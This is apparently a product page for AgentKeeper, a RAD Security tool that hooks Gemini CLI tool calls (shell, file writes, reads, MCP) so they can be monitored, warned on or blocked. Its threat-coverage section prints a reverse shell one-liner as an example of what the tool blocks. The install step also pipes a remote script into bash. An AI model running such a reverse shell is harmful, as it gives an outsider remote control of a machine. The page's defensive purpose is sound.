Unsafe file writes
Prevent Gemini CLI from writing secrets, launch agents, deploy hooks, or system-level files.
write_file /etc/agentkeeper-e2e.conf
Gemini CLI enablement
AgentKeeper turns Gemini CLI hooks into policy decisions for shell commands, file reads and writes, prompt submissions, web access, and MCP tool calls.
Gemini CLI security means checking what the agent does before it does it: shell commands, file writes and edits, file reads, prompts and MCP calls. AgentKeeper by RAD Security uses Gemini CLI's synchronous hook points to evaluate tool arguments against your policy in monitor, warn or block mode, and records each decision.
Runtime action stream
Gemini CLI
Shell commands
BeforeTool / run_shell_command
File writes
BeforeTool / write_file
File edits
BeforeTool / replace
File reads
BeforeTool / read_file
Why teams adopt it
Use Gemini's synchronous hook points to validate tool arguments before execution.
Return deterministic blocks for dangerous writes, credential access, prompt injection, and risky commands.
Give platform teams one dashboard for Gemini CLI beside Codex, Claude Code, Cursor, Copilot, Windsurf, and Cowork.
Carry host, machine, session, tool, verdict, and policy context into the Activity and Security views.
Coverage
Threat coverage
Prevent Gemini CLI from writing secrets, launch agents, deploy hooks, or system-level files.
write_file /etc/agentkeeper-e2e.conf
Block commands that open outbound shells or turn development laptops into pivot points.
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
Apply server and tool allowlists before Gemini invokes external MCP integrations.
mcp__drive__read_file customer-export.csv
Install
The installer writes the hook config, routes decisions through Runtime Shield, and labels events as gemini so security teams can filter by agent without slowing the developer down.
bash <(curl -fsSL https://www.agentkeeper.dev/install-hooks.sh) --ide gemini
Uses the same org policies as Claude Code, Cursor, Copilot, Windsurf, and Cowork.
Fails open on local outages while preserving API-backed audit history.
Feeds the Activity, Security, and Workstations views immediately after the first event.
Updated
Shell commands (BeforeTool / run_shell_command), file writes (write_file), file edits (replace), file reads (read_file), prompts (BeforeAgent) and MCP tool calls (mcp__server__tool).
In Block mode, yes: dangerous writes, credential access, prompt injection and risky commands can be refused before they run. Monitor records silently, Warn tells the person and refuses nothing, and Block refuses the call.
Run bash <(curl -fsSL https://www.agentkeeper.dev/install-hooks.sh) --ide gemini. Events are labelled gemini. The Free plan covers one workstation and needs no credit card.
Yes. Gemini CLI appears beside Claude Code, Codex, Cursor, Copilot and Windsurf in the same Activity view, with host, session, tool, verdict and policy reason.
The local hooks fail open, so Gemini CLI keeps working. Decisions backed by the central policy apply when the API is reachable.